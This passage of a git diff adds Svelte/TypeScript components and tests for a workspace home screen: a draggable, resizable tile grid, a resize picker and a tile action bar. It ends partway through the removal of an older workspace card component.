+ ` background-size: ${dotSize} ${pitchY}px;` +
+ ` background-position: ${dotX}px ${geometry.unit.height / 2}px;` +
+ (wide ? ` padding-right: ${pitchX}px;` : ` padding-bottom: ${pitchY}px;`);
+ return base + dot;
+ });
+
+ function spanFor(placement: Placement): Span {
+ if (preview && preview.id === placement.id) {
+ return { colSpan: preview.colSpan, rowSpan: preview.rowSpan };
+ }
+ return { colSpan: placement.colSpan, rowSpan: placement.rowSpan };
+ }
+
+ function wrapperStyle(placement: Placement): string {
+ const span = spanFor(placement);
+ return `grid-column: ${placement.col} / span ${span.colSpan}; grid-row: ${placement.row} / span ${span.rowSpan};`;
+ }
+
+ /**
+ * The landing cell's top-left in CLIENT coordinates — where the CSS grid
+ * actually places a tile anchored at `targetCell` (the true column pitch:
+ * fixed in wide; the fluid column width PLUS the gap in tall). The follow
+ * transform cancels exactly this, so the grab point tracks the pointer.
+ */
+ const targetCellOrigin = $derived.by<{ x: number; y: number } | null>(() => {
+ const el = gridEl;
+ if (!el || !targetCell) return null;
+ const rect = el.getBoundingClientRect();
+ const wide = geometry.mode === "wide";
+ const colPitch = wide ? pitchX : (rect.width + geometry.unit.gap) / geometry.flowCols;
+ return {
+ x: rect.left + (targetCell.col - 1) * colPitch,
+ y: rect.top + (targetCell.row - 1) * pitchY,
+ };
+ });
+
+ /** The dragged tile's follow transform (it keeps its committed slot). */
+ function followStyle(placement: Placement): string {
+ if (draggedId !== placement.id || !pressOrigin || !grabOffset || phase.kind !== "dragging") {
+ return "";
+ }
+ const origin = targetCellOrigin;
+ if (!origin) return "";
+ // Pointer minus the tile's GRID anchor minus the grab offset — the grab
+ // point the user pressed tracks the pointer. A raw pointer-displacement
+ // translate would ride the tile's origin instead and jump by the grab
+ // offset (a center grab snaps the tile's top-left under the pointer).
+ const dx = phase.x - origin.x - grabOffset.x;
+ const dy = phase.y - origin.y - grabOffset.y;
+ return `transform: translate(${dx}px, ${dy}px) scale(1.05);`;
+ }
+
+ // ── The drop ghost: a dashed footprint at the target anchor ───────────────
+ const ghostStyle = $derived.by(() => {
+ if (!dragging || !targetCell || !draggedPlacement) return null;
+ const span = spanFor(draggedPlacement);
+ const wide = geometry.mode === "wide";
+ const h = span.rowSpan * pitchY - geometry.unit.gap;
+ const x = wide
+ ? `${(targetCell.col - 1) * pitchX}px`
+ : `calc(${((targetCell.col - 1) / geometry.flowCols) * 100}%)`;
+ const width = wide
+ ? `${span.colSpan * pitchX - geometry.unit.gap}px`
+ : `calc(${(span.colSpan / geometry.flowCols) * 100}% - ${(geometry.unit.gap * (geometry.flowCols - span.colSpan)) / geometry.flowCols}px)`;
+ return `left: ${x}; top: ${(targetCell.row - 1) * pitchY}px; width: ${width}; height: ${h}px;`;
+ });
+
+ /**
+ * The Start-screen tile tones (static classes — Tailwind/DaisyUI must see
+ * the literal `bg-*`/`text-*-content` names to emit them). A tile is its
+ * tone's SATURATED color with the tone's `-content` text, like Win8's
+ * colored tiles on the dark Start canvas.
+ */
+ const TONE_CLASSES: Record<TileTone, string> = {
+ primary: "bg-primary text-primary-content border-primary",
+ secondary: "bg-secondary text-secondary-content border-secondary",
+ accent: "bg-accent text-accent-content border-accent",
+ info: "bg-info text-info-content border-info",
+ success: "bg-success text-success-content border-success",
+ warning: "bg-warning text-warning-content border-warning",
+ };
+</script>
+
+<svelte:window onkeydowncapture={windowKeydown} />
+
+<div class="relative h-full">
+ <div
+ bind:this={scrollerEl}
+ class="h-full overscroll-contain"
+ class:overflow-x-auto={geometry.mode === "wide"}
+ class:overflow-y-auto={geometry.mode === "tall"}
+ style={`padding: ${geometry.margin}px; scroll-snap-type: ${geometry.mode === "wide" ? "x" : "y"} proximity;`}
+ onscroll={updateScroll}
+ onwheel={handleWheel}
+ >
+ <!-- svelte-ignore a11y_no_static_element_interactions -- the grid owns the drag gestures (capture must live on a never-reparented element) -->
+ <div
+ bind:this={gridEl}
+ class="relative grid"
+ style={gridStyle}
+ onpointerdown={gridPointerDown}
+ onpointermove={gridPointerMove}
+ onpointerup={gridPointerUp}
+ onpointercancel={() => dispatch({ type: "cancel" })}
+ >
+ {#if ghostStyle && draggedPlacement}
+ <!-- The landing footprint (the dragged tile's tone, dashed). -->
+ <div
+ aria-hidden="true"
+ class="pointer-events-none absolute z-0 rounded-box border-2 border-dashed opacity-70"
+ class:border-primary={tileTone(draggedPlacement.id) === "primary"}
+ class:border-secondary={tileTone(draggedPlacement.id) === "secondary"}
+ class:border-accent={tileTone(draggedPlacement.id) === "accent"}
+ class:border-info={tileTone(draggedPlacement.id) === "info"}
+ class:border-success={tileTone(draggedPlacement.id) === "success"}
+ class:border-warning={tileTone(draggedPlacement.id) === "warning"}
+ style={ghostStyle}
+ ></div>
+ {/if}
+ {#each rendered as placement (placement.id)}
+ {@const ws = workspacesById.get(placement.id)}
+ {#if ws}
+ {@const isDragged = draggedId === placement.id}
+ <!-- svelte-ignore a11y_no_static_element_interactions, a11y_click_events_have_key_events -->
+ <div
+ data-tile-id={placement.id}
+ class={`raised flex select-none flex-col overflow-hidden rounded-box border transition-[box-shadow] duration-150 ${
+ TONE_CLASSES[tileTone(placement.id)]
+ } ${
+ selectedId === placement.id
+ ? "ring-4 ring-base-content/80 ring-offset-2 ring-offset-base-100"
+ : "border-transparent"
+ } ${
+ isDragged
+ ? "pointer-events-none relative z-40 shadow-2xl"
+ : "hover:-translate-y-0.5 hover:shadow-xl"
+ }`}
+ style={`${wrapperStyle(placement)} ${isDragged ? followStyle(placement) : ""} scroll-snap-align: start;`}
+ role="button"
+ tabindex="0"
+ aria-label={`Open workspace ${ws.title}`}
+ use:trackTile={placement.id}
+ oncontextmenu={(e) => {
+ e.preventDefault();
+ onSelect(placement.id);
+ }}
+ onkeydown={(e) => {
+ if (insideInteractive(e.target)) return;
+ if (e.key === "Enter" || e.key === " ") {
+ e.preventDefault();
+ onOpen(placement.id);
+ }
+ }}
+ >
+ <WorkspaceTile
+ {ws}
+ {store}
+ {placement}
+ selected={selectedId === placement.id}
+ renaming={renamingId === placement.id}
+ active={hasActive?.(ws.id) ?? false}
+ {onRenameEnd}
+ />
+ </div>
+ {/if}
+ {/each}
+ </div>
+ </div>
+
+ {#if canPan}
+ <!-- Pan arrow + thin scroll-position indicator (wide geometry only).
+ Both sit INSIDE the canvas' outer margin. -->
+ <button
+ type="button"
+ class="btn btn-circle absolute z-10 border-none bg-base-100 text-base-content shadow-xl"
+ style={`right: ${Math.max(12, geometry.margin / 2)}px; bottom: ${Math.max(12, geometry.margin / 2)}px;`}
+ aria-label="Pan right"
+ title="Pan one screen sideways"
+ onclick={pan}
+ >
+ →
+ </button>
+ <div
+ class="absolute right-0 bottom-0 left-0 z-10 h-0.5 bg-base-content/10"
+ style={`margin: 0 ${geometry.margin}px;`}
+ >
+ <div
+ class="h-full bg-primary transition-[width] duration-100"
+ style={`width: ${Math.round(scrollProgress * 100)}%;`}
+ ></div>
+ </div>
+ {/if}
+</div>
diff --git a/src/features/workspaces/ui/HomeTileGrid.test.ts b/src/features/workspaces/ui/HomeTileGrid.test.ts
new file mode 100644
index 0000000..a8365d5
--- /dev/null
+++ b/src/features/workspaces/ui/HomeTileGrid.test.ts
@@ -0,0 +1,200 @@
+import type { WorkspaceEntry } from "@dispatch/wire";
+import { fireEvent, render, screen } from "@testing-library/svelte";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { geometryFor, type Placement } from "../logic/tile-layout";
+import type { WorkspaceStore } from "../store.svelte";
+import HomeTileGrid from "./HomeTileGrid.svelte";
+
+const WIDE = geometryFor(1920, 1080);
+
+function ws(overrides: Partial<WorkspaceEntry> = {}): WorkspaceEntry {
+ return {
+ id: "a",
+ title: "Workspace A",
+ defaultCwd: null,
+ defaultComputerId: null,
+ starred: false,
+ archived: false,
+ createdAt: 1,
+ lastActivityAt: 2,
+ conversationCount: 1,
+ ...overrides,
+ };
+}
+
+function placement(id: string, col: number, row: number): Placement {
+ return { id, col, row, colSpan: 1, rowSpan: 1 };
+}
+
+function fakeStore(): WorkspaceStore {
+ return {
+ rename: vi.fn(),
+ } as unknown as WorkspaceStore;
+}
+
+function baseProps() {
+ return {
+ geometry: WIDE,
+ workspacesById: new Map([
+ ["a", ws()],
+ ["b", ws({ id: "b", title: "Workspace B" })],
+ ]),
+ store: fakeStore(),
+ onOpen: vi.fn(),
+ onSelect: vi.fn(),
+ onPlace: vi.fn(),
+ onRenameEnd: vi.fn(),
+ };
+}
+
+describe("HomeTileGrid", () => {
+ beforeEach(() => {
+ vi.useFakeTimers();
+ });
+ afterEach(() => {
+ vi.useRealTimers();
+ });
+
+ it("renders one tile per placement, positioned by the packed spans", () => {
+ const props = baseProps();
+ const { container } = render(HomeTileGrid, {
+ props: {
+ ...props,
+ placements: [placement("a", 1, 1), placement("b", 2, 1)],
+ },
+ });
+
+ expect(screen.getByRole("button", { name: "Open workspace Workspace A" })).toBeInTheDocument();
+ expect(screen.getByRole("button", { name: "Open workspace Workspace B" })).toBeInTheDocument();
+ const wrappers = container.querySelectorAll("[data-tile-id]");
+ expect(wrappers).toHaveLength(2);
+ expect(wrappers[0]?.getAttribute("style")).toContain("grid-column: 1 / span 1");
+ expect(wrappers[1]?.getAttribute("style")).toContain("grid-column: 2 / span 1");
+ });
+
+ it("a tap (press + release without moving) opens the workspace", async () => {
+ const props = baseProps();
+ render(HomeTileGrid, {
+ props: { ...props, placements: [placement("a", 1, 1)] },
+ });
+
+ const wrapper = screen.getByRole("button", { name: "Open workspace Workspace A" });
+ fireEvent.pointerDown(wrapper, { button: 0, clientX: 10, clientY: 10, pointerType: "mouse" });
+ fireEvent.pointerUp(wrapper);
+
+ expect(props.onOpen).toHaveBeenCalledWith("a");
+ expect(props.onSelect).not.toHaveBeenCalled();
+ });
+
+ it("right-click selects the tile", async () => {
+ const props = baseProps();
+ render(HomeTileGrid, {
+ props: { ...props, placements: [placement("a", 1, 1)] },
+ });
+
+ const wrapper = screen.getByRole("button", { name: "Open workspace Workspace A" });
+ fireEvent.contextMenu(wrapper);
+
+ expect(props.onSelect).toHaveBeenCalledWith("a");
+ expect(props.onOpen).not.toHaveBeenCalled();
+ });
+
+ it("dragging shows the ghost + follow transform, and dropping PLACES at the hovered cell", async () => {
+ const props = baseProps();
+ const { container } = render(HomeTileGrid, {
+ props: { ...props, placements: [placement("a", 1, 1), placement("b", 2, 1)] },
+ });
+
+ const wrapper = screen.getByRole("button", { name: "Open workspace Workspace A" });
+ // The cell math resolves against the grid element's rect (jsdom: 0s).
+ fireEvent.pointerDown(wrapper, { button: 0, clientX: 10, clientY: 10, pointerType: "mouse" });
+ fireEvent.pointerMove(wrapper, { clientX: 80, clientY: 40 });
+
+ // The dashed landing ghost appears…
+ const ghost = container.querySelector("[aria-hidden='true'].border-dashed");
+ expect(ghost).not.toBeNull();
+ // …and the dragged tile itself follows the pointer (transform on the tile).
+ const tile = container.querySelector("[data-tile-id='a']");
+ expect(tile?.getAttribute("style")).toContain("translate(");
+
+ fireEvent.pointerUp(wrapper);
+ // The ghost + follow disappear on drop…
+ expect(container.querySelector("[aria-hidden='true'].border-dashed")).toBeNull();
+ // …and the drop committed a PLACE at the hovered cell (a lands where it
+ // already was — the pointer hovered its own slot; a no-move drop).
+ expect(props.onPlace).toHaveBeenCalledWith("a", { col: 1, row: 1 });
+ // And no navigation either (a drag is not a tap).
+ expect(props.onOpen).not.toHaveBeenCalled();
+ });
+
+ it("Escape mid-drag CANCELS: no place commits and the tile un-lifts", async () => {
+ const props = baseProps();
+ const { container } = render(HomeTileGrid, {
+ props: { ...props, placements: [placement("a", 1, 1)] },
+ });
+
+ const wrapper = screen.getByRole("button", { name: "Open workspace Workspace A" });
+ fireEvent.pointerDown(wrapper, { button: 0, clientX: 10, clientY: 10, pointerType: "mouse" });
+ fireEvent.pointerMove(wrapper, { clientX: 80, clientY: 40 });
+
+ fireEvent.keyDown(window, { key: "Escape" });
+
+ expect(props.onPlace).not.toHaveBeenCalled();
+ // The drag visuals are gone (the tile is no longer lifted).
+ expect(container.querySelector("[aria-hidden='true'].border-dashed")).toBeNull();
+ });
+
+ it("a touch long-press lifts the tile and selects it (never opens)", async () => {
+ const props = baseProps();
+ render(HomeTileGrid, {
+ props: { ...props, placements: [placement("a", 1, 1)] },
+ });
+
+ const wrapper = screen.getByRole("button", { name: "Open workspace Workspace A" });
+ fireEvent.pointerDown(wrapper, {
+ button: 0,
+ clientX: 10,
+ clientY: 10,
+ pointerType: "touch",
+ });
+ await vi.advanceTimersByTimeAsync(500);
+
+ expect(props.onSelect).toHaveBeenCalledWith("a");
+ expect(props.onOpen).not.toHaveBeenCalled();
+ });
+
+ it("a touch drag that moves before the long-press cancels (scroll wins)", async () => {
+ const props = baseProps();
+ render(HomeTileGrid, {
+ props: { ...props, placements: [placement("a", 1, 1)] },
+ });
+
+ const wrapper = screen.getByRole("button", { name: "Open workspace Workspace A" });
+ fireEvent.pointerDown(wrapper, {
+ button: 0,
+ clientX: 10,
+ clientY: 10,
+ pointerType: "touch",
+ });
+ fireEvent.pointerMove(wrapper, { clientX: 10, clientY: 120 });
+ await vi.advanceTimersByTimeAsync(500);
+
+ expect(props.onSelect).not.toHaveBeenCalled();
+ expect(props.onOpen).not.toHaveBeenCalled();
+ });
+
+ it("previews a transient span for the resizing tile", () => {
+ const props = baseProps();
+ const { container } = render(HomeTileGrid, {
+ props: {
+ ...props,
+ placements: [placement("a", 1, 1)],
+ preview: { id: "a", colSpan: 3, rowSpan: 2 },
+ },
+ });
+
+ const wrapper = container.querySelector("[data-tile-id='a']");
+ expect(wrapper?.getAttribute("style")).toContain("span 3");
+ expect(wrapper?.getAttribute("style")).toContain("span 2");
+ });
+});
diff --git a/src/features/workspaces/ui/ResizePicker.svelte b/src/features/workspaces/ui/ResizePicker.svelte
new file mode 100644
index 0000000..e066519
--- /dev/null
+++ b/src/features/workspaces/ui/ResizePicker.svelte
@@ -0,0 +1,107 @@
+<script lang="ts">
+ import { onMount, untrack } from "svelte";
+ import type { GridGeometry, Span } from "../logic/tile-layout";
+
+ let {
+ geometry,
+ initial,
+ onPreview,
+ onCommit,
+ onCancel,
+ }: {
+ geometry: GridGeometry;
+ /** The tile's current (clamped) spans — the picker's starting cell. */
+ initial: Span;
+ /** Transiently ghost-preview the hovered footprint on the real grid. */
+ onPreview: (span: Span | null) => void;
+ onCommit: (colSpan: number, rowSpan: number) => void;
+ onCancel: () => void;
+ } = $props();
+
+ // The picker IS the span cap: wide = 4×2 small squares, tall = 2×2.
+ const cols = $derived(geometry.maxColSpan);
+ const rows = $derived(geometry.maxRowSpan);
+
+ // The currently hovered cell (c, r) — the highlighted rectangle spans
+ // 1..c × 1..r from the picker's top-left (insert-table style). The picker
+ // mounts fresh per resize session, so seeding from the prop is intended.
+ let hovered = $state({
+ colSpan: untrack(() => Math.min(initial.colSpan, cols)),
+ rowSpan: untrack(() => Math.min(initial.rowSpan, rows)),
+ });
+
+ function hover(colSpan: number, rowSpan: number): void {
+ hovered = { colSpan, rowSpan };
+ onPreview({ colSpan, rowSpan });
+ }
+
+ function commit(): void {
+ onCommit(hovered.colSpan, hovered.rowSpan);
+ }
+
+ function keydown(e: KeyboardEvent): void {
+ if (e.key === "Escape") {
+ e.preventDefault();
+ onCancel();
+ return;
+ }
+ if (e.key === "Enter") {
+ e.preventDefault();
+ commit();
+ return;
+ }
+ let dc = 0;
+ let dr = 0;
+ if (e.key === "ArrowRight") dc = 1;
+ else if (e.key === "ArrowLeft") dc = -1;
+ else if (e.key === "ArrowDown") dr = 1;
+ else if (e.key === "ArrowUp") dr = -1;
+ else return;
+ e.preventDefault();
+ hover(
+ Math.max(1, Math.min(cols, hovered.colSpan + dc)),
+ Math.max(1, Math.min(rows, hovered.rowSpan + dr)),
+ );
+ }
+
+ let root = $state<HTMLDivElement | undefined>();
+ onMount(() => root?.focus());
+</script>
+
+<!-- svelte-ignore a11y_no_noninteractive_element_interactions, a11y_no_noninteractive_tabindex -->
+<div
+ bind:this={root}
+ class="fixed inset-x-0 bottom-20 z-50 mx-auto flex w-max flex-col gap-2 rounded-box border border-base-content/20 bg-base-100 p-3 shadow-2xl outline-none"
+ role="group"
+ aria-label="Resize tile"
+ tabindex="0"
+ onkeydown={keydown}
+ onmouseleave={() => onPreview(null)}
+>
+ <p class="text-xs font-semibold uppercase opacity-60">Resize — click a size</p>
+ <div class="grid gap-1" style={`grid-template-columns: repeat(${cols}, 1.5rem);`}>
+ {#each Array.from({ length: rows }) as _, row (row)}
+ {#each Array.from({ length: cols }) as __, col (col)}
+ <button
+ type="button"
+ class={`size-6 border border-base-content/20 ${
+ col < hovered.colSpan && row < hovered.rowSpan
+ ? "bg-primary/60"
+ : col === hovered.colSpan - 1 && row === hovered.rowSpan - 1
+ ? "bg-primary/20"
+ : ""
+ }`}
+ aria-label={`Resize to ${col + 1} by ${row + 1}`}
+ onmouseenter={() => hover(col + 1, row + 1)}
+ onfocus={() => hover(col + 1, row + 1)}
+ onclick={() => {
+ hover(col + 1, row + 1);
+ commit();
+ }}
+ ></button>
+ {/each}
+ {/each}
+ </div>
+ <p class="text-center font-mono text-xs opacity-70">{hovered.colSpan} × {hovered.rowSpan}</p>
+ <p class="text-center text-[10px] opacity-50">Enter commits · Escape cancels</p>
+</div>
diff --git a/src/features/workspaces/ui/ResizePicker.test.ts b/src/features/workspaces/ui/ResizePicker.test.ts
new file mode 100644
index 0000000..796a556
--- /dev/null
+++ b/src/features/workspaces/ui/ResizePicker.test.ts
@@ -0,0 +1,88 @@
+import { render, screen } from "@testing-library/svelte";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { geometryFor } from "../logic/tile-layout";
+import ResizePicker from "./ResizePicker.svelte";
+
+const WIDE = geometryFor(1920, 1080);
+const TALL = geometryFor(390, 844);
+
+function props() {
+ return {
+ onPreview: vi.fn(),
+ onCommit: vi.fn(),
+ onCancel: vi.fn(),
+ };
+}
+
+describe("ResizePicker", () => {
+ it("renders one small square per cap (4×2 wide, 2×2 tall)", () => {
+ const p = props();
+ const wide = render(ResizePicker, {
+ props: { geometry: WIDE, initial: { colSpan: 1, rowSpan: 1 }, ...p },
+ });
+ expect(screen.getAllByRole("button")).toHaveLength(8);
+ wide.unmount();
+
+ render(ResizePicker, {
+ props: { geometry: TALL, initial: { colSpan: 1, rowSpan: 1 }, ...p },
+ });
+ expect(screen.getAllByRole("button")).toHaveLength(4);
+ });
+
+ it("hovering square (r, c) previews that rectangle", async () => {
+ const user = userEvent.setup();
+ const p = props();
+ render(ResizePicker, {
+ props: { geometry: WIDE, initial: { colSpan: 1, rowSpan: 1 }, ...p },
+ });
+
+ await user.hover(screen.getByRole("button", { name: "Resize to 3 by 2" }));
+ expect(p.onPreview).toHaveBeenCalledWith({ colSpan: 3, rowSpan: 2 });
+ });
+
+ it("clicking a square commits that size", async () => {
+ const user = userEvent.setup();
+ const p = props();
+ render(ResizePicker, {
+ props: { geometry: WIDE, initial: { colSpan: 1, rowSpan: 1 }, ...p },
+ });
+
+ await user.click(screen.getByRole("button", { name: "Resize to 2 by 1" }));
+ expect(p.onCommit).toHaveBeenCalledWith(2, 1);
+ });
+
+ it("arrow keys move within the picker, Enter commits, Escape cancels", async () => {
+ const user = userEvent.setup();
+ const p = props();
+ render(ResizePicker, {
+ props: { geometry: WIDE, initial: { colSpan: 2, rowSpan: 1 }, ...p },
+ });
+
+ await user.keyboard("{ArrowRight}");
+ expect(p.onPreview).toHaveBeenLastCalledWith({ colSpan: 3, rowSpan: 1 });
+ await user.keyboard("{ArrowDown}");
+ expect(p.onPreview).toHaveBeenLastCalledWith({ colSpan: 3, rowSpan: 2 });
+ await user.keyboard("{ArrowLeft}");
+ expect(p.onPreview).toHaveBeenLastCalledWith({ colSpan: 2, rowSpan: 2 });
+
+ await user.keyboard("{Enter}");
+ expect(p.onCommit).toHaveBeenCalledWith(2, 2);
+ expect(p.onCancel).not.toHaveBeenCalled();
+
+ await user.keyboard("{Escape}");
+ expect(p.onCancel).toHaveBeenCalledTimes(1);
+ });
+
+ it("leaving the picker clears the preview", async () => {
+ const user = userEvent.setup();
+ const p = props();
+ render(ResizePicker, {
+ props: { geometry: WIDE, initial: { colSpan: 1, rowSpan: 1 }, ...p },
+ });
+
+ await user.hover(screen.getByRole("button", { name: "Resize to 4 by 2" }));
+ await user.unhover(screen.getByRole("button", { name: "Resize to 4 by 2" }));
+ expect(p.onPreview).toHaveBeenLastCalledWith(null);
+ });
+});
diff --git a/src/features/workspaces/ui/TileActionBar.svelte b/src/features/workspaces/ui/TileActionBar.svelte
new file mode 100644
index 0000000..ffb8f1d
--- /dev/null
+++ b/src/features/workspaces/ui/TileActionBar.svelte
@@ -0,0 +1,73 @@
+<script lang="ts">
+ import { fly } from "svelte/transition";
+ import type { WorkspaceEntry } from "@dispatch/wire";
+
+ let {
+ ws,
+ withPlugins = false,
+ onOpen,
+ onRename,
+ onResize,
+ onToggleStar,
+ onDetails,
+ onPlugins,
+ onArchive,
+ onDelete,
+ onClose,
+ }: {
+ ws: WorkspaceEntry;
+ /** The plugins port is present → the Plugins action renders. */
+ withPlugins?: boolean;
+ onOpen: () => void;
+ onRename: () => void;
+ onResize: () => void;
+ onToggleStar: () => void;
+ /** The details flyout (default cwd + default computer). */
+ onDetails: () => void;
+ onPlugins: () => void;
+ /** Archive the workspace (hide from the home grid; reversible). */
+ onArchive: () => void;
+ onDelete: () => void;
+ onClose: () => void;
+ } = $props();
+</script>
+
+<!-- svelte-ignore a11y_no_static_element_interactions, a11y_click_events_have_key_events -->
+<div
+ class="fixed inset-x-0 bottom-0 z-40 flex justify-center p-4"
+ transition:fly={{ y: 80, duration: 150 }}
+ onclick={(e) => {
+ // The bar owns its clicks — don't let them deselect via the backdrop.
+ e.stopPropagation();
+ }}
+>
+ <div
+ class="flex flex-wrap items-center justify-center gap-1 rounded-box border border-base-content/15 bg-base-100 p-2 shadow-2xl"
+ role="toolbar"
+ aria-label={`Actions for ${ws.title}`}
+ >
+ <button type="button" class="btn btn-primary btn-sm" onclick={onOpen}>Open</button>
+ <button type="button" class="btn btn-ghost btn-sm" onclick={onRename}>Rename</button>
+ <button type="button" class="btn btn-ghost btn-sm" onclick={onResize}>Resize</button>
+ <button type="button" class="btn btn-ghost btn-sm" onclick={onDetails}>Details</button>
+ <button type="button" class="btn btn-ghost btn-sm" onclick={onToggleStar}>
+ {ws.starred ? "Unstar" : "Star"}
+ </button>
+ {#if withPlugins}
+ <button type="button" class="btn btn-ghost btn-sm" onclick={onPlugins}>Plugins</button>
+ {/if}
+ <button type="button" class="btn btn-ghost btn-sm" onclick={onArchive}>Archive</button>
+ <button
+ type="button"
+ class="btn btn-ghost btn-sm text-error"
+ onclick={onDelete}>Delete</button
+ >
+ <button
+ type="button"
+ class="btn btn-circle btn-ghost btn-sm"
+ aria-label="Close actions"
+ title="Close"
+ onclick={onClose}>✕</button
+ >
+ </div>
+</div>
diff --git a/src/features/workspaces/ui/TileActionBar.test.ts b/src/features/workspaces/ui/TileActionBar.test.ts
new file mode 100644
index 0000000..c00de19
--- /dev/null
+++ b/src/features/workspaces/ui/TileActionBar.test.ts
@@ -0,0 +1,93 @@
+import type { WorkspaceEntry } from "@dispatch/wire";
+import { render, screen } from "@testing-library/svelte";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import TileActionBar from "./TileActionBar.svelte";
+
+function ws(overrides: Partial<WorkspaceEntry> = {}): WorkspaceEntry {
+ return {
+ id: "my-ws",
+ title: "My Workspace",
+ defaultCwd: null,
+ defaultComputerId: null,
+ starred: false,
+ archived: false,
+ createdAt: 1,
+ lastActivityAt: 2,
+ conversationCount: 0,
+ ...overrides,
+ };
+}
+
+function handlers() {
+ return {
+ onOpen: vi.fn(),
+ onRename: vi.fn(),
+ onResize: vi.fn(),
+ onToggleStar: vi.fn(),
+ onDetails: vi.fn(),
+ onPlugins: vi.fn(),
+ onArchive: vi.fn(),
+ onDelete: vi.fn(),
+ onClose: vi.fn(),
+ };
+}
+
+describe("TileActionBar", () => {
+ it("renders the Open · Rename · Resize · Star · Details · Delete actions", () => {
+ const h = handlers();
+ render(TileActionBar, { props: { ws: ws(), ...h } });
+ expect(screen.getByRole("button", { name: "Open" })).toBeInTheDocument();
+ expect(screen.getByRole("button", { name: "Rename" })).toBeInTheDocument();
+ expect(screen.getByRole("button", { name: "Resize" })).toBeInTheDocument();
+ expect(screen.getByRole("button", { name: "Star" })).toBeInTheDocument();
+ expect(screen.getByRole("button", { name: "Details" })).toBeInTheDocument();
+ expect(screen.getByRole("button", { name: "Archive" })).toBeInTheDocument();
+ expect(screen.getByRole("button", { name: "Delete" })).toBeInTheDocument();
+ expect(screen.getByRole("button", { name: "Close actions" })).toBeInTheDocument();
+ });
+
+ it("omits Plugins when no plugins port is present, renders it when one is", () => {
+ const h = handlers();
+ const without = render(TileActionBar, { props: { ws: ws(), ...h } });
+ expect(without.queryByRole("button", { name: "Plugins" })).toBeNull();
+ without.unmount();
+
+ render(TileActionBar, { props: { ws: ws(), withPlugins: true, ...h } });
+ expect(screen.getByRole("button", { name: "Plugins" })).toBeInTheDocument();
+ });
+
+ it("labels the star action by the current state (Star ↔ Unstar)", () => {
+ const h = handlers();
+ const unstarred = render(TileActionBar, { props: { ws: ws({ starred: false }), ...h } });
+ expect(screen.getByRole("button", { name: "Star" })).toBeInTheDocument();
+ unstarred.unmount();
+
+ render(TileActionBar, { props: { ws: ws({ starred: true }), ...h } });
+ expect(screen.getByRole("button", { name: "Unstar" })).toBeInTheDocument();
+ });
+
+ it("dispatches each action", async () => {
+ const user = userEvent.setup();
+ const h = handlers();
+ render(TileActionBar, { props: { ws: ws(), ...h } });
+
+ await user.click(screen.getByRole("button", { name: "Open" }));
+ await user.click(screen.getByRole("button", { name: "Rename" }));
+ await user.click(screen.getByRole("button", { name: "Resize" }));
+ await user.click(screen.getByRole("button", { name: "Star" }));
+ await user.click(screen.getByRole("button", { name: "Details" }));
+ await user.click(screen.getByRole("button", { name: "Archive" }));
+ await user.click(screen.getByRole("button", { name: "Delete" }));
+ await user.click(screen.getByRole("button", { name: "Close actions" }));
+
+ expect(h.onOpen).toHaveBeenCalledTimes(1);
+ expect(h.onRename).toHaveBeenCalledTimes(1);
+ expect(h.onResize).toHaveBeenCalledTimes(1);
+ expect(h.onToggleStar).toHaveBeenCalledTimes(1);
+ expect(h.onDetails).toHaveBeenCalledTimes(1);
+ expect(h.onArchive).toHaveBeenCalledTimes(1);
+ expect(h.onDelete).toHaveBeenCalledTimes(1);
+ expect(h.onClose).toHaveBeenCalledTimes(1);
+ });
+});
diff --git a/src/features/workspaces/ui/WorkspaceCard.svelte b/src/features/workspaces/ui/WorkspaceCard.svelte
deleted file mode 100644
index 6de4109..0000000
--- a/src/features/workspaces/ui/WorkspaceCard.svelte
+++ /dev/null
@@ -1,279 +0,0 @@
-<script lang="ts">
- import type { ComputerEntry, WorkspaceEntry } from "@dispatch/wire";
- import { untrack } from "svelte";
- import type { WorkspaceStore } from "../store.svelte";
- import { relativeTime } from "../logic/view-model";
- import { workspacePath } from "../logic/route";
- import ComputerSelect from "../../computer/ui/ComputerSelect.svelte";
-
- let {
- ws,
- store,
- onNavigate,
- computers,
- hasActive,
- }: {
- ws: WorkspaceEntry;
- store: WorkspaceStore;
- onNavigate: (path: string) => void;
- /** Discovered computers (`GET /computers`), for the default-computer dropdown. */
- computers: readonly ComputerEntry[];
- /**
- * Optional port: returns whether the workspace has at least one active
- * (generating / queued) conversation — drives a loading-dots indicator on
- * the card. Wired by the composition root to the app store's
- * `workspaceHasActiveConversations`. Absent → no indicator (e.g. tests).
- */
- hasActive?: (workspaceId: string) => boolean;
- } = $props();
-
- // Whether at least one conversation in this workspace is currently active
- // (generating). Reactive: the composition-root port reads the app store's
- // reactive tab set + lifecycle statuses, so this re-derives on change.
- const active = $derived(hasActive?.(ws.id) ?? false);
-
- // ── Title: double-click to rename inline ──────────────────────────────────
- let editingTitle = $state(false);
- let titleDraft = $state("");
- let titleInput = $state<HTMLInputElement | undefined>();
- let titleError = $state<string | null>(null);
-
- function startEditTitle(): void {
- titleDraft = ws.title;
- titleError = null;
- editingTitle = true;
- queueMicrotask(() => titleInput?.focus());
- }
-
- async function saveTitle(): Promise<void> {
- if (!editingTitle) return;
- const title = titleDraft.trim();
- editingTitle = false;
- if (title === "" || title === ws.title) return;
- const result = await store.rename(ws.id, title);
- if (!result.ok) titleError = result.error;
- }
-
- function cancelTitle(): void {
- editingTitle = false;
- titleError = null;
- }
-
- // ── Default cwd: inline input ─────────────────────────────────────────────
- let cwdDraft = $state(untrack(() => ws.defaultCwd ?? ""));
- // Reseed when the backend value changes (e.g., after a save or an external
- // refresh). Mid-edit (same value) does NOT re-run, so typing is never clobbered.
- $effect(() => {
- cwdDraft = ws.defaultCwd ?? "";
- });
-
- const cwdDirty = $derived(cwdDraft.trim() !== (ws.defaultCwd ?? ""));
- let savingCwd = $state(false);
- let cwdError = $state<string | null>(null);
-
- async function saveCwd(): Promise<void> {
- if (!cwdDirty || savingCwd) return;
- savingCwd = true;
- cwdError = null;
- const cwd = cwdDraft.trim();
- const result = await store.setDefaultCwd(ws.id, cwd === "" ? null : cwd);
- savingCwd = false;
- if (!result.ok) cwdError = result.error;
- }
-
- // ── Default computer: dropdown (Local / discovered SSH aliases) ────────────
- let savingComputer = $state(false);
- let computerError = $state<string | null>(null);
-
- async function saveComputer(computerId: string | null): Promise<void> {
- if (savingComputer) return;
- // No-op when unchanged (the select only fires on a real change, but guard).
- if (computerId === (ws.defaultComputerId ?? null)) return;
- savingComputer = true;
- computerError = null;
